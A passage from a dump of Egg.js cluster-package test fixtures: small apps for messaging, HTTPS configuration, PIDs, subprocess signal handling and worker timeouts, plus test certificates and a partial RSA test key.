    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  custom: {\n    enable: true,\n    path: path.join(__dirname, '../lib/plugins/custom'),\n  },\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework/index.js",
    "content": "const { startCluster } = require('egg');\n\nexports.startCluster = startCluster;\nexports.Application = require('./lib/framework');\nexports.Agent = require('./lib/agent');\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework/lib/agent.js",
    "content": "const path = require('path');\nconst { Agent } = require('egg');\n\nclass FrameworkAgent extends Agent {\n  get [Symbol.for('egg#eggPath')]() {\n    return path.join(__dirname, '..');\n  }\n}\n\nmodule.exports = FrameworkAgent;\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework/lib/framework.js",
    "content": "const path = require('path');\nconst egg = require('egg');\nconst Application = egg.Application;\nconst AppWorkerLoader = egg.AppWorkerLoader;\n\nclass Loader extends AppWorkerLoader {\n  async loadConfig() {\n    this.loadServerConf();\n    await super.loadConfig();\n  }\n\n  loadServerConf() {}\n}\n\nclass ChairApplication extends Application {\n  get [Symbol.for('egg#eggPath')]() {\n    return path.join(__dirname, '..');\n  }\n\n  get [Symbol.for('egg#loader')]() {\n    return Loader;\n  }\n}\n\nmodule.exports = ChairApplication;\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework/lib/plugins/custom/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.messenger.on('custom-framework-worker', function (data) {\n    agent.messenger.broadcast('custom-framework-agent', data);\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework/lib/plugins/custom/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.custom = {};\n  app.messenger.broadcast('custom-framework-worker', 123);\n  app.messenger.on('custom-framework-agent', function (data) {\n    app.agent = data;\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework/lib/plugins/custom/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"custom\"\n  }\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework/package.json",
    "content": "{\n  \"name\": \"framework\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework-egg-default/package.json",
    "content": "{}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework-egg-default-noexist/package.json",
    "content": "{}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework-pkg-egg/package.json",
    "content": "{\n  \"egg\": {\n    \"framework\": \"yadan\"\n  }\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/framework-pkg-egg-noexist/package.json",
    "content": "{\n  \"egg\": {\n    \"framework\": \"noexist\"\n  }\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/frameworkapp/app/controller/home.js",
    "content": "module.exports = async (ctx) => {\n  ctx.body = {\n    frameworkCore: !!ctx.app.framework,\n    frameworkPlugin: !!ctx.app.custom,\n    frameworkAgent: !!ctx.app.agent,\n  };\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/frameworkapp/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/frameworkapp/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123';\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/frameworkapp/package.json",
    "content": "{\n  \"name\": \"frameworkapp\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/frameworkbiz/index.js",
    "content": "'use strict';\n\nmodule.exports = require('../framework');\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/frameworkbiz/package.json",
    "content": "{\n  \"name\": \"frameworkbiz\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/https-server/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', (ctx) => {\n    ctx.body = 'https server';\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/https-server/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123';\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/https-server/package.json",
    "content": "{\n  \"name\": \"https-server\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/https-server-config/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', (ctx) => {\n    ctx.body = 'https server config';\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/https-server-config/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.keys = '123';\n\nexports.cluster = {\n  https: {\n    key: path.join(__dirname, '../../../server.key'),\n    cert: path.join(__dirname, '../../../server.cert'),\n    ca: path.join(__dirname, '../../../server.ca'),\n  },\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/https-server-config/package.json",
    "content": "{\n  \"name\": \"https-server-config\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/master-worker-started/package.json",
    "content": "{\n  \"name\": \"mock-dev-app\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/messenger/agent.js",
    "content": "'use strict';\n\nconst pids = {\n  master: process.ppid,\n  worker: new Set(),\n  agent: process.pid,\n};\n\nmodule.exports = function (agent) {\n  // from parent\n  agent.messenger.on('parent2agent', (msg) => console.log(msg));\n\n  // send to parent\n  process.send({\n    action: 'agent2parent',\n    data: 'agent -> parent',\n    to: 'parent',\n  });\n\n  // send to app after they started\n  agent.messenger.on('egg-ready', () => {\n    agent.messenger.sendToApp('agent2app', 'agent -> app');\n    // compatible with string\n    process.send('agent2appbystring');\n  });\n  agent.messenger.on('app2agent', (msg) => console.log(msg));\n\n  // compatible with string\n  agent.messenger.on('app2agentbystring', (msg) => console.log('agent: ' + msg));\n\n  agent.messenger.on('egg-ready', () => {\n    agent.messenger.sendToApp('worker_online', {\n      type: 'agent',\n      pid: process.pid,\n    });\n  });\n\n  agent.messenger.on('worker_online', (data) => {\n    workerOnline(data);\n    sendToProcess(agent.messenger);\n  });\n\n  agent.messenger.on('send_to_pid', (data) => {\n    if (data.type === 'app') {\n      console.log('app sendTo agent done');\n    }\n    if (data.type === 'agent') {\n      console.log('agent sendTo agent done');\n    }\n  });\n};\n\nfunction workerOnline(data) {\n  if (data.type === 'agent') {\n    pids.agent = data.pid;\n  } else {\n    pids.worker.add(data.pid);\n  }\n}\n\nfunction sendToProcess(messenger) {\n  const data = { type: 'agent', fromProcess: process.pid };\n  messenger.sendTo(pids.master, 'send_to_pid', data);\n  messenger.sendTo(pids.agent, 'send_to_pid', data);\n  for (const pid of pids.worker) {\n    messenger.sendTo(pid, 'send_to_pid', data);\n  }\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/messenger/app.js",
    "content": "'use strict';\n\nconst pids = {\n  master: process.ppid,\n  worker: new Set([process.pid]),\n  agent: null,\n};\n\nmodule.exports = function (app) {\n  // from parent\n  app.messenger.on('parent2app', (msg) => console.log(msg));\n\n  // send to parent\n  process.send({\n    action: 'app2parent',\n    data: 'app -> parent',\n    to: 'parent',\n  });\n\n  // send to app\n  app.messenger.sendToAgent('app2agent', 'app -> agent');\n  app.messenger.on('agent2app', (msg) => console.log(msg));\n\n  // compatible with string\n  process.send('app2agentbystring');\n  app.messenger.on('agent2appbystring', (msg) => console.log('app: ' + msg));\n\n  app.messenger.on('egg-ready', () => {\n    app.messenger.sendToAgent('worker_online', {\n      type: 'app',\n      pid: process.pid,\n    });\n  });\n\n  app.messenger.on('worker_online', (data) => {\n    workerOnline(data);\n    sendToProcess(app.messenger);\n  });\n\n  app.messenger.on('send_to_pid', (data) => {\n    if (data.type === 'app') {\n      console.log('app sendTo app done');\n    }\n    if (data.type === 'agent') {\n      console.log('agent sendTo app done');\n    }\n  });\n};\n\nfunction workerOnline(data) {\n  if (data.type === 'agent') {\n    pids.agent = data.pid;\n  } else {\n    pids.worker.add(data.pid);\n  }\n}\n\nfunction sendToProcess(messenger) {\n  const data = { type: 'app', fromProcess: process.pid };\n  messenger.sendTo(pids.agent, 'send_to_pid', data);\n  messenger.sendTo(pids.master, 'send_to_pid', data);\n  for (const pid of pids.worker) {\n    messenger.sendTo(pid, 'send_to_pid', data);\n  }\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/messenger/package.json",
    "content": "{\n  \"name\": \"messenger\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/mock-production-app/config/config.default.js",
    "content": "'use strict';\n\nexports.watcher = {\n  type: 'development',\n};\n\nexports.logger = {\n  level: 'DEBUG',\n};\n\nexports.keys = 'keys,foo';\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/mock-production-app/config/map.json",
    "content": "{}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/mock-production-app/package.json",
    "content": "{\n  \"name\": \"mock-production-app\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/options/agent.js",
    "content": "module.exports = (agent) => {\n  console.log('agent options foo: %s', agent._options.foo);\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/options/app.js",
    "content": "module.exports = (app) => {\n  console.log('app options foo: %s', app._options.foo);\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/options/config/plugin.js",
    "content": "exports.schedule = false;\nexports.logrotator = false;\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/options/package.json",
    "content": "{\n  \"name\": \"options\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/options-require/agent.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  if (require.extensions['.ts']) {\n    console.log('### inject ts-node/register at agent');\n  }\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/options-require/app.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  if (require.extensions['.ts']) {\n    console.log('### inject ts-node/register at app');\n  }\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/options-require/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123';\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/options-require/inject.js",
    "content": "'use strict';\n\n// in travis, the argv[2] is special\nconst index = process.argv.length - 2;\nconst file = process.argv[index];\n\nconsole.log('###', process.argv);\n\nif (file.includes('app_worker')) {\n  console.log('### inject application');\n}\n\nif (file.includes('agent_worker')) {\n  console.log('### inject agent');\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/options-require/package.json",
    "content": "{\n  \"name\": \"options-require\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/other-port/app.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  const server = require('http').createServer(function (req, res) {\n    res.write('ok');\n    res.end();\n  });\n  server.listen(7002);\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/other-port/package.json",
    "content": "{\n  \"name\": \"other-port\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/pid/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  let count = 1;\n  agent.messenger.on('egg-pids', (data) => console.log('#%s agent get %s workers', count++, data.length, data));\n};\n\nprocess.on('message', function (msg) {\n  if (msg.action === 'kill-agent') process.exit(1);\n});\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/pid/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/exit', async () => {\n    process.exit(1);\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/pid/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  let count = 1;\n  app.messenger.on('egg-pids', (data) => console.log('#%s app get %s workers', count++, data.length, data));\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/pid/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'keys,foo';\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/pid/package.json",
    "content": "{\n  \"name\": \"pid\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/reload-worker/package.json",
    "content": "{\n  \"name\": \"reload-worker\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/script-start/start-server.js",
    "content": "const { scheduler } = require('node:timers/promises');\nconst utils = require('../../../utils');\n\n(async () => {\n  const app = utils.cluster('apps/agent-exit');\n  app.debug();\n  await app.end();\n\n  app.proc.on('message', () => {\n    process.send(app.proc.pid, () => {\n      // close child process IPC\n      // node v6 process._channel\n      // node v8 process.channel\n      const channel = app.proc._channel || app.proc.channel;\n      console.error(channel);\n      channel.close && channel.close();\n    });\n  });\n\n  await scheduler.wait(3000);\n})();\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/send-to-multiapp/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  let pids;\n  agent.messenger.on('egg-pids', (data) => {\n    pids = data;\n  });\n  agent.messenger.on('egg-ready', () => {\n    agent.messenger.sendTo(String(pids[pids.length - 1]), 'app');\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/send-to-multiapp/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.messenger.on('app', () => console.log(process.pid, 'got'));\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/send-to-multiapp/package.json",
    "content": "{\n  \"name\": \"send-to-multiapp\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/sub-process/app.js",
    "content": "'use strict';\n\nconst { fork } = require('child_process');\nconst path = require('path');\n\nmodule.exports = () => {\n  fork(path.join(__dirname, 'worker1.js'));\n  fork(path.join(__dirname, 'worker2.js'));\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/sub-process/package.json",
    "content": "{\n  \"name\": \"mock-dev-app\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/sub-process/worker1.js",
    "content": "'use strict';\n\nconsole.log('worker1 [%s] started', process.pid);\n\nsetTimeout(() => {\n  console.log('worker1 alived');\n}, 4000);\n\nsetInterval(() => {\n  // keep alive\n}, 100000);\n\nprocess.on('SIGTERM', () => {\n  console.log('worker1 on sigterm and exit');\n  process.exit(0);\n});\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/sub-process/worker2.js",
    "content": "'use strict';\n\nconsole.log('worker2 [%s] started', process.pid);\n\nsetTimeout(() => {\n  console.log('worker2 alived');\n}, 4000);\n\nsetInterval(() => {\n  // keep alive\n}, 100000);\n\nprocess.on('SIGTERM', () => {\n  console.log('worker2 on sigterm and exit');\n  process.exit(0);\n});\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/sub-process-sigkill/app.js",
    "content": "'use strict';\n\nconst { fork } = require('child_process');\nconst path = require('path');\n\nmodule.exports = () => {\n  fork(path.join(__dirname, 'worker1.js'));\n  fork(path.join(__dirname, 'worker2.js'));\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/sub-process-sigkill/package.json",
    "content": "{\n  \"name\": \"mock-dev-app\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/sub-process-sigkill/worker1.js",
    "content": "'use strict';\n\nconsole.log('worker1 [%s] started', process.pid);\n\nsetTimeout(() => {\n  console.log('worker1 alived');\n}, 4000);\n\nsetInterval(() => {\n  // keep alive\n}, 100000);\n\nprocess.on('SIGTERM', () => {\n  console.log('worker1 on sigterm and not exit');\n});\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/sub-process-sigkill/worker2.js",
    "content": "'use strict';\n\nconsole.log('worker2 [%s] started', process.pid);\n\nsetTimeout(() => {\n  console.log('worker2 alived');\n}, 4000);\n\nsetInterval(() => {\n  // keep alive\n}, 100000);\n\nprocess.on('SIGTERM', () => {\n  console.log('worker2 on sigterm and exit');\n  process.exit(0);\n});\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/worker-close-timeout/agent.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  const timeout = process.env.EGG_MASTER_CLOSE_TIMEOUT || 5000;\n\n  app.beforeClose(async () => {\n    app.logger.info('agent worker start close: ' + Date.now());\n    await scheduler.wait(timeout * 2);\n    app.logger.info('agent worker: never called after timeout');\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/worker-close-timeout/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  const timeout = process.env.EGG_MASTER_CLOSE_TIMEOUT || 5000;\n\n  app.beforeClose(async () => {\n    app.logger.info('app worker start close', Date.now(), timeout);\n    await scheduler.wait(timeout * 2);\n    app.logger.info('app worker never called after timeout');\n  });\n};\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/worker-close-timeout/package.json",
    "content": "{\n  \"name\": \"worker-close-timeout\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/worker-die/app.js",
    "content": "'use strict';\n\nthrow new Error('app worker throw');\n"
  },
  {
    "path": "packages/cluster/test/fixtures/apps/worker-die/package.json",
    "content": "{\n  \"name\": \"worker-die\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/egg/index.js",
    "content": "/* eslint-disable @typescript-eslint/no-var-requires */\nconst egg = require('egg');\n\nexports.startCluster = require('../../..').startCluster;\nexports.Application = egg.Application;\nexports.Agent = egg.Agent;\n"
  },
  {
    "path": "packages/cluster/test/fixtures/egg/package.json",
    "content": "{\n  \"name\": \"egg\",\n  \"version\": \"9.9.9\"\n}\n"
  },
  {
    "path": "packages/cluster/test/fixtures/server.ca",
    "content": "-----BEGIN CERTIFICATE-----\nMIIEsTCCA5mgAwIBAgIQCKWiRs1LXIyD1wK0u6tTSTANBgkqhkiG9w0BAQsFADBh\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD\nQTAeFw0xNzExMDYxMjIzMzNaFw0yNzExMDYxMjIzMzNaMF4xCzAJBgNVBAYTAlVT\nMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j\nb20xHTAbBgNVBAMTFFJhcGlkU1NMIFJTQSBDQSAyMDE4MIIBIjANBgkqhkiG9w0B\nAQEFAAOCAQ8AMIIBCgKCAQEA5S2oihEo9nnpezoziDtx4WWLLCll/e0t1EYemE5n\n+MgP5viaHLy+VpHP+ndX5D18INIuuAV8wFq26KF5U0WNIZiQp6mLtIWjUeWDPA28\nOeyhTlj9TLk2beytbtFU6ypbpWUltmvY5V8ngspC7nFRNCjpfnDED2kRyJzO8yoK\nMFz4J4JE8N7NA1uJwUEFMUvHLs0scLoPZkKcewIRm1RV2AxmFQxJkdf7YN9Pckki\nf2Xgm3b48BZn0zf0qXsSeGu84ua9gwzjzI7tbTBjayTpT+/XpWuBVv6fvarI6bik\nKB859OSGQuw73XXgeuFwEPHTIRoUtkzu3/EQ+LtwznkkdQIDAQABo4IBZjCCAWIw\nHQYDVR0OBBYEFFPKF1n8a8ADIS8aruSqqByCVtp1MB8GA1UdIwQYMBaAFAPeUDVW\n0Uy7ZvCj4hsbw5eyPdFVMA4GA1UdDwEB/wQEAwIBhjAdBgNVHSUEFjAUBggrBgEF\nBQcDAQYIKwYBBQUHAwIwEgYDVR0TAQH/BAgwBgEB/wIBADA0BggrBgEFBQcBAQQo\nMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBCBgNVHR8E\nOzA5MDegNaAzhjFodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9i\nYWxSb290Q0EuY3JsMGMGA1UdIARcMFowNwYJYIZIAYb9bAECMCowKAYIKwYBBQUH\nAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwCwYJYIZIAYb9bAEBMAgG\nBmeBDAECATAIBgZngQwBAgIwDQYJKoZIhvcNAQELBQADggEBAH4jx/LKNW5ZklFc\nYWs8Ejbm0nyzKeZC2KOVYR7P8gevKyslWm4Xo4BSzKr235FsJ4aFt6yAiv1eY0tZ\n/ZN18bOGSGStoEc/JE4ocIzr8P5Mg11kRYHbmgYnr1Rxeki5mSeb39DGxTpJD4kG\nhs5lXNoo4conUiiJwKaqH7vh2baryd8pMISag83JUqyVGc2tWPpO0329/CWq2kry\nqv66OSMjwulUz0dXf4OHQasR7CNfIr+4KScc6ABlQ5RDF86PGeE6kdwSQkFiB/cQ\nysNyq0jEDQTkfa2pjmuWtMCNbBnhFXBYejfubIhaUbEv2FOQB3dCav+FPg5eEveX\nTVyMnGo=\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "packages/cluster/test/fixtures/server.cert",
    "content": "-----BEGIN CERTIFICATE-----\nMIIFgjCCBGqgAwIBAgIQCT4g3hYKGuJ40zFqvxEZeDANBgkqhkiG9w0BAQsFADBu\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMS0wKwYDVQQDEyRFbmNyeXB0aW9uIEV2ZXJ5d2hlcmUg\nRFYgVExTIENBIC0gRzEwHhcNMTkwNTE2MDAwMDAwWhcNMjAwNTE1MTIwMDAwWjAZ\nMRcwFQYDVQQDEw50ZXN0LmVnZ2pzLmFwcDCCASIwDQYJKoZIhvcNAQEBBQADggEP\nADCCAQoCggEBAJDILgDP397Yq9e5UeRpntvnH5A1yyMt1xu3n+jycDkm0ZRpKqyq\n67B1lBxODoWBTH+K5xi63g9Rm8p32AwZ3acTVUU8QLtE8p4ovD6kMEbQgfxFQjXY\nYWlYYa9KijGXILDd+wSgrSU5cg8O3bRo5WVnL7xTUS+FbNvqBnCI55Plc+hE9B+U\nd5qxhJw5dfvs7IfVtgydy6WNIjH4aToo8iSe/ug1OJ66D57BFoBeGhe77nknd9g0\nwD8vKWmhyogV7SgS7pB++ES6BpiCt4RYPM/bsaF0GNbp0LZYeYXDjqkEGZSCy66R\nMDP7KeZQmQlkjaWKCLCbt6EN2H9nO0QDJj0CAwEAAaOCAm8wggJrMB8GA1UdIwQY\nMBaAFFV0T7JyT/VgulDR1+ZRXJoBhxrXMB0GA1UdDgQWBBTeIgPVCq3Ga8oHjnDe\nsvgtaHae4zAZBgNVHREEEjAQgg50ZXN0LmVnZ2pzLmFwcDAOBgNVHQ8BAf8EBAMC\nBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMEwGA1UdIARFMEMwNwYJ\nYIZIAYb9bAECMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNv\nbS9DUFMwCAYGZ4EMAQIBMH0GCCsGAQUFBwEBBHEwbzAhBggrBgEFBQcwAYYVaHR0\ncDovL29jc3AuZGNvY3NwLmNuMEoGCCsGAQUFBzAChj5odHRwOi8vY2FjZXJ0cy5k\naWdpY2VydC5jb20vRW5jcnlwdGlvbkV2ZXJ5d2hlcmVEVlRMU0NBLUcxLmNydDAJ\nBgNVHRMEAjAAMIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcA7ku9t3XOYLrhQmkf\nq+GeZqMPfl+wctiDAMR7iXqo/csAAAFqv02uHgAABAMASDBGAiEAw4GRLg1fe+dU\nLWC8VwTd6Nj1FnlGoKHjD7stvWecAVwCIQCplB9Kz44J77uzriXsImEhyPDUlboX\ngVp9PLXVi/y9CgB2AF6nc/nfVsDntTZIfdBJ4DJ6kZoMhKESEoQYdZaBcUVYAAAB\nar9NrcEAAAQDAEcwRQIgIaTjR3FtkCd9rhYyNWcfib4mss4X59i5IqL6/Am8D4sC\nIQD6ULVTsN1vJ+HdYOD9dZhORnjr7Bce0Q1u+ySEo/99szANBgkqhkiG9w0BAQsF\nAAOCAQEAfEh+2CuQ3fdD0ufPSaVTtXJnCB8ksjUU46ITiSfWNDGBrU4Vr9W4uvuk\nwD7/YYkSZBB3j8R2m23r2LwjW5QcsU4POSl9mIh8I6WCxm2ZeVsMY8LDW8DYCo0y\nsQBzYH9oxtTZBEQ7oNtqKNj60163XjTEwti831LIugRJfs42m8EDypYb33v1W3MT\nd0EQX9sq2qaAeCY5NA1fUwzyryKEcXM9HY1Dpr8C1oriSug9A6+/G3+/htZ91Cz6\nKlGuDHzFca1Gq44V5Yp73WWoI6+hKcolgv/RZAVFOBSpOBHWuH+iQfX2hcKN4B0R\ngw8MBLL9fQZFYWawDD9h5ypND9Lb5A==\n-----END CERTIFICATE-----\n-----BEGIN CERTIFICATE-----\nMIIEqjCCA5KgAwIBAgIQAnmsRYvBskWr+YBTzSybsTANBgkqhkiG9w0BAQsFADBh\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD\nQTAeFw0xNzExMjcxMjQ2MTBaFw0yNzExMjcxMjQ2MTBaMG4xCzAJBgNVBAYTAlVT\nMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j\nb20xLTArBgNVBAMTJEVuY3J5cHRpb24gRXZlcnl3aGVyZSBEViBUTFMgQ0EgLSBH\nMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALPeP6wkab41dyQh6mKc\noHqt3jRIxW5MDvf9QyiOR7VfFwK656es0UFiIb74N9pRntzF1UgYzDGu3ppZVMdo\nlbxhm6dWS9OK/lFehKNT0OYI9aqk6F+U7cA6jxSC+iDBPXwdF4rs3KRyp3aQn6pj\npp1yr7IB6Y4zv72Ee/PlZ/6rK6InC6WpK0nPVOYR7n9iDuPe1E4IxUMBH/T33+3h\nyuH3dvfgiWUOUkjdpMbyxX+XNle5uEIiyBsi4IvbcTCh8ruifCIi5mDXkZrnMT8n\nwfYCV6v6kDdXkbgGRLKsR4pucbJtbKqIkUGxuZI2t7pfewKRc5nWecvDBZf3+p1M\npA8CAwEAAaOCAU8wggFLMB0GA1UdDgQWBBRVdE+yck/1YLpQ0dfmUVyaAYca1zAf\nBgNVHSMEGDAWgBQD3lA1VtFMu2bwo+IbG8OXsj3RVTAOBgNVHQ8BAf8EBAMCAYYw\nHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBIGA1UdEwEB/wQIMAYBAf8C\nAQAwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdp\nY2VydC5jb20wQgYDVR0fBDswOTA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQu\nY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\n/WwBAjAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BT\nMAgGBmeBDAECATANBgkqhkiG9w0BAQsFAAOCAQEAK3Gp6/aGq7aBZsxf/oQ+TD/B\nSwW3AU4ETK+GQf2kFzYZkby5SFrHdPomunx2HBzViUchGoofGgg7gHW0W3MlQAXW\nM0r5LUvStcr82QDWYNPaUy4taCQmyaJ+VB+6wxHstSigOlSNF2a6vg4rgexixeiV\n4YSB03Yqp2t3TeZHM9ESfkus74nQyW7pRGezj+TC44xCagCQQOzzNmzEAP2SnCrJ\nsNE2DpRVMnL8J6xBRdjmOsC3N6cQuKuRXbzByVBjCqAA8t1L0I+9wXJerLPyErjy\nrMKWaBFLmfK/AHNF4ZihwPGOc7w6UHczBZXH5RFzJNnww+WnKuTPI0HfnVH8lg==\n-----END CERTIFICATE-----\n"
  },
  {
    "path": "packages/cluster/test/fixtures/server.key",
    "content": "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAkMguAM/f3tir17lR5Gme2+cfkDXLIy3XG7ef6PJwOSbRlGkq\nrKrrsHWUHE4OhYFMf4rnGLreD1GbynfYDBndpxNVRTxAu0Tynii8PqQwRtCB/EVC\nNdhhaVhhr0qKMZcgsN37BKCtJTlyDw7dtGjlZWcvvFNRL4Vs2+oGcIjnk+Vz6ET0\nH5R3mrGEnDl1++zsh9W2DJ3LpY0iMfhpOijyJJ7+6DU4nroPnsEWgF4aF7vueSd3\n2DTAPy8paaHKiBXtKBLukH74RLoGmIK3hFg8z9uxoXQY1unQtlh5hcOOqQQZlILL\nrpEwM/sp5lCZCWSNpYoIsJu3oQ3Yf2c7RAMmPQIDAQABAoIBAHRmnKXGewSdSrtr\noS10xWWjEjtNJH6qEjGUlhohIJyyWvlo/AhKeqcqQOPo1b/8TlaUhGvbgUDrqcdE\nRwyjlxMGdh3t7VUif7Uspvvt4WptpLP/stW7m8WoaxEVarmn+X55WaFE1TACWXNF\nznWHiDbYmQZeLf141iaQppC/YQAD2Mdg31OFTZQkw6TYq33Tj7fxXHJXH/tvudk2\nQfvQlTESTg9RGmngXn+mItBaRNea0DdvXSiYMVJSJKiY6wflQkI9P+vFanG05ehI\nuBn/+BM3GHNY+cRyq6q2k7lGwROqicXjj6mO8iOc5kL2XgbKpk8GNMqBCSTYNZVy\nAmPdpvkCgYEA1aLZAvBR5kZk7LTWmd/Ysh9zg7A6Qndu2lC+sThcLXEgZ+ehL0yT\n1Q91ftXqYXNfpSO/sj+9XyohiucovFdGUtybpsf4n3bJCAEZu6v9uAc0z+Ad+HJn\nhU3JUHCcVByYRgnQgjLiR3r/VWHsofpbAkF9K8RAXSRvJPi3G15ca+cCgYEArX36\nP08hIpg4ib9tbjShGc8UXqJL6WgwlO7HzE5R95AO6gSsXCLNopU